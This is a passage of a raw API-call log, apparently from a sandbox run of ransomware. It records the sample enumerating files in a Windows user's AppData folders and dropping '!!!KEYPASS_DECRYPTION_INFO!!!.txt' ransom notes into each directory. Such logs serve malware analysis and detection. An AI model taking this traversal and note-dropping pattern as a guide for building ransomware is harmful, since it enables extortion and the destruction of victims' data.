PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\U8FCPAKJ.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\UBUPNOZC.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\UBXQG39X.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\UGL14QS0.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\UUEVXDWP.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\V7NNCJHO.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\VD3GM2DA.txt") returned=".txt" [0317.054] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.054] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\WPEXKTDV.txt") returned=".txt" [0317.054] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.054] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\WUT8M1Q8.txt") returned=".txt" [0317.054] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.054] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\WX75TEOR.txt") returned=".txt" [0317.054] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.054] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\XRS5D0N2.txt") returned=".txt" [0317.054] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.054] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\XUAUK5R0.txt") returned=".txt" [0317.054] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.054] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\Y1I415YS.txt") returned=".txt" [0317.054] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.054] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\Y3XU5OKR.txt") returned=".txt" [0317.054] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.054] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\OOUVZSZN.txt") returned=".txt" [0317.054] FindNextFileW (in: hFindFile=0x64fbeb0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0317.055] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.055] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.055] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.056] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.056] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.056] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.056] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.057] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\Low\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.057] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\TIGZFGLM.txt") returned=".txt" [0317.057] FindNextFileW (in: hFindFile=0x64fbeb0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0317.057] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\XNW1G0SM.txt") returned=".txt" [0317.057] FindNextFileW (in: hFindFile=0x64fbeb0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0317.103] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0317.103] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0317.103] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0317.104] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.104] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\appdb.dat") returned=".dat" [0317.104] FindNextFileW (in: hFindFile=0x64fc070, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0317.105] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.105] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.105] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.106] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.106] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\16f3f148.jpg") returned=".jpg" [0317.106] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.106] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\179e8db5.jpg") returned=".jpg" [0317.106] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.106] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\1ad75057.jpg") returned=".jpg" [0317.106] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.106] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\1ba49cb8.jpg") returned=".jpg" [0317.106] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.106] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\1f43fcc4.jpg") returned=".jpg" [0317.106] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.106] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\23a8b33e.jpg") returned=".jpg" [0317.106] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.106] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\3d12749e.jpg") returned=".jpg" [0317.106] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.106] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\434a4949.jpg") returned=".jpg" [0317.106] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.106] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\4929c482.jpg") returned=".jpg" [0317.106] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.106] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\4a7a41cb.jpg") returned=".jpg" [0317.106] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.106] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\52572b1f.jpg") returned=".jpg" [0317.106] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.106] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\6b492b11.jpg") returned=".jpg" [0317.106] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.107] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\7a7d9912.jpg") returned=".jpg" [0317.110] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.110] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\7b9a0c9a.jpg") returned=".jpg" [0317.110] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.110] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\7cbffa6f.jpg") returned=".jpg" [0317.110] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.110] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\7fe97f77.jpg") returned=".jpg" [0317.110] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.110] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\9c14e2ad.jpg") returned=".jpg" [0317.110] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.110] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\a1444597.jpg") returned=".jpg" [0317.110] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.110] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\a229ed41.jpg") returned=".jpg" [0317.110] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.110] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\a271c2fa.jpg") returned=".jpg" [0317.110] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.110] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\a2e35824.jpg") returned=".jpg" [0317.110] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.110] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\c00de09f.jpg") returned=".jpg" [0317.110] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.110] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\cc2f5fc7.jpg") returned=".jpg" [0317.110] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.110] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\cf6a15d.jpg") returned=".jpg" [0317.110] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.110] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\da8e59e.jpg") returned=".jpg" [0317.110] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.111] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\dab752aa.jpg") returned=".jpg" [0317.111] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.111] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\f0b9fc4a.jpg") returned=".jpg" [0317.111] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.111] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\f466753.jpg") returned=".jpg" [0317.111] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.111] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\f4b839c7.jpg") returned=".jpg" [0317.111] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.111] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\f67a62c3.jpg") returned=".jpg" [0317.111] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.111] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\f76d6757.jpg") returned=".jpg" [0317.111] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.111] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\f7f275e5.jpg") returned=".jpg" [0317.111] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.111] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\fb970b75.jpg") returned=".jpg" [0317.111] FindNextFileW (in: hFindFile=0x64fb9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.111] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\WPNPRMRY.tmp") returned=".tmp" [0317.111] FindNextFileW (in: hFindFile=0x64fc070, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0317.112] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0317.112] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0317.112] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0317.112] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.149] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.149] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.149] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.149] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.149] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_06f90924-1e5d-474b-ba1f-65c4b5caf36a") returned="" [0317.150] FindNextFileW (in: hFindFile=0x64fc030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.150] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_6e1b9325-f1be-48ba-a974-ab12f8ee0c5d") returned="" [0317.150] FindNextFileW (in: hFindFile=0x64fc030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.150] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_85525a38-be22-4966-b0fc-b808e4124a0f") returned="" [0317.150] FindNextFileW (in: hFindFile=0x64fc030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.150] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_bd7521a2-be87-486f-928a-80ffca5b0219") returned="" [0317.150] FindNextFileW (in: hFindFile=0x64fc030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.150] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_bf1cb9b0-ce8c-44e7-bb1c-52ad1299acf8") returned="" [0317.150] FindNextFileW (in: hFindFile=0x64fc030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.150] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_e1d59afd-fedf-4dad-a2f3-bba3e7eabe5c") returned="" [0317.150] FindNextFileW (in: hFindFile=0x64fc030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.150] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheIndex") returned="" [0317.150] FindNextFileW (in: hFindFile=0x64fc030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.320] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0317.320] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0317.320] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0317.334] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.335] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.335] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.335] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.336] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1079934665\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.336] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1079934665\\2034961148.pri") returned=".pri" [0317.336] FindNextFileW (in: hFindFile=0x64fb8b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.337] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.337] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.337] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.338] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1605653898\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.338] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1605653898\\4275773285.pri") returned=".pri" [0317.338] FindNextFileW (in: hFindFile=0x64fba70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.338] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.338] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.339] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.339] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1978304864\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.339] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1978304864\\923683402.pri") returned=".pri" [0317.339] FindNextFileW (in: hFindFile=0x64fc3f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.340] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.340] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.340] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.360] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2107319684\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.360] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2107319684\\2467780804.pri") returned=".pri" [0317.360] FindNextFileW (in: hFindFile=0x64fc1f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.362] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.362] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.362] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.362] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\226732975\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" 